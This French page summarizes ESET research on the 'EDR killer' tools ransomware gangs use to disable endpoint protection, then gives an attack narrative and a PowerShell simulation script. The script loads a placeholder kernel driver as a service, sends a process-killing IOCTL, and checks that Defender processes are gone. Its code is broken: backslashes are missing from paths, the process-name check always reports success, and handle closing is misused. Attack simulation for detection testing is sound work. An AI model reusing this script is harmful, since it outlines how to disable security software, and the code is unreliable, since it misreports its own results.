Recherche ESET : Explication des tueurs d’EDR : Au-delà des pilotes

Résumé

L’article explore l’écosystème des tueurs d’EDR que les opérateurs de rançongiciels utilisent pour neutraliser la protection des points de terminaison avant de lancer des chiffreurs. Il explique comment les adversaires s’appuient sur des pilotes vulnérables, des utilitaires anti-rootkit légitimes et même des techniques sans pilote pour échapper aux défenses et désactiver les logiciels de sécurité. Les conclusions sont fondées sur la télémétrie couvrant près de 90 tueurs d’EDR observés dans des attaques du monde réel. La recherche souligne également le rôle des affiliés de rançongiciels, la réutilisation répétée des mêmes pilotes et le marché croissant des services de tueurs d’EDR commercialisés.

Investigation

Les chercheurs d’ESET ont analysé la télémétrie, les dépôts de code, et les cas d’intrusions documentés pour tracer comment les tueurs d’EDR sont fabriqués, distribués, et déployés. Ils ont classifié plusieurs familles, y compris des variantes basées sur des pilotes, des scripts, des anti-rootkits, et sans pilote, et les ont liées à des groupes de rançongiciels tels que Warlock, LockBit, Akira, et Medusa. L’étude a également souligné l’armement du code de preuve de concept public et l’influence croissante du développement assisté par IA dans cet écosystème d’outils.

Atténuation

Les défenseurs doivent bloquer les pilotes vulnérables connus, surveiller l’utilisation anormale des commandes administratives privilégiées et détecter les binaires tueurs d’EDR connus ainsi que les modèles comportementaux. Les détections en couches qui identifient l’installation de pilotes, la terminaison forcée de produits de sécurité et le comportement de blocage réseau inhabituel peuvent réduire la fenêtre de temps dont disposent les attaquants avant l’exécution du rançongiciel.

Réponse

Si un tueur d’EDR est détecté, isolez immédiatement l’hôte, terminez le processus malveillant, retirez tous les pilotes non autorisés et confirmez que les contrôles de sécurité sont entièrement restaurés. Suivez avec une analyse judiciaire pour déterminer quel charge utile rançongiciel ou quelle activité d’affilié est associée à l’intrusion et activez le flux de travail de réponse à l’incident plus large.

Exécution de Simulation

Prérequis : La Vérification Prévol Télémétrie & Baseline doit avoir réussi.

Narratif de l’Attaque & Commandes

1. Étape 1 – Déposez le pilote malveillant
   L’attaquant écrit un binaire pilote (EdrKiller.sys) dans C:WindowsTemp et l’enregistre en tant que service nommé EdrKillerSvc.

2. Étape 2 – Démarrez le service du pilote
   Le démarrage du service charge le pilote dans l’espace noyau, où il enregistre un gestionnaire IOCTL capable de terminer des processus.

3. Étape 3 – Émettre le DeviceIoControl menaçant
   En utilisant PowerShell, l’attaquant ouvre un handle vers .EdrKiller et envoie le code IOCTL 0x9C040001 (code hypothétique “TerminateProcess”). Le pilote itère la liste des processus, tue tout processus dont le nom d’exécutable correspond à un composant EDR connu.

4. Étape 4 – Vérifier la terminaison
   L’attaquant vérifie que les processus EDR ciblés ne sont plus en cours d’exécution.

Script de Test de Régression

# --------------------------------------------------------------
# Simulation de Tueur d'EDR – PowerShell (requiert un administrateur)
# --------------------------------------------------------------

# 1. Chemins & variables
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Code de contrôle d'exemple pour "TerminateProcesses"

# 2. Déployez le pilote malveillant (simulé – remplacez par un .sys réel pour test réel)
#    À des fins de démonstration, nous copions un pilote légitime (par exemple, null.sys) à titre de placeholder.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Créez et démarrez le service qui charge le pilote
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # laisser le pilote s'initialiser

# 4. Définir DeviceIoControl P/Invoke
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Ouvrir le handle vers le pilote
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Ouverture du handle a échoué pour $deviceName"
    exit 1
}

# 6. Émettre l'IOCTL menaçant
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "DeviceIoControl menaçant envoyé avec succès."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl a échoué avec l'erreur $err"
}

# 7. Fermer le handle
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Vérifiez que les processus EDR typiques ne sont plus présents (noms d'exemple)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc est toujours en cours d'exécution."
    } else {
        Write-Host "$proc terminé avec succès."
    }
}

Commandes de Nettoyage

# Arrêtez et supprimez le service de pilote malveillant
sc.exe stop $serviceName
sc.exe delete $serviceName

# Supprimez le faux fichier pilote
Remove-Item -Path $driverPath -Force

Write-Host "Nettoyage terminé."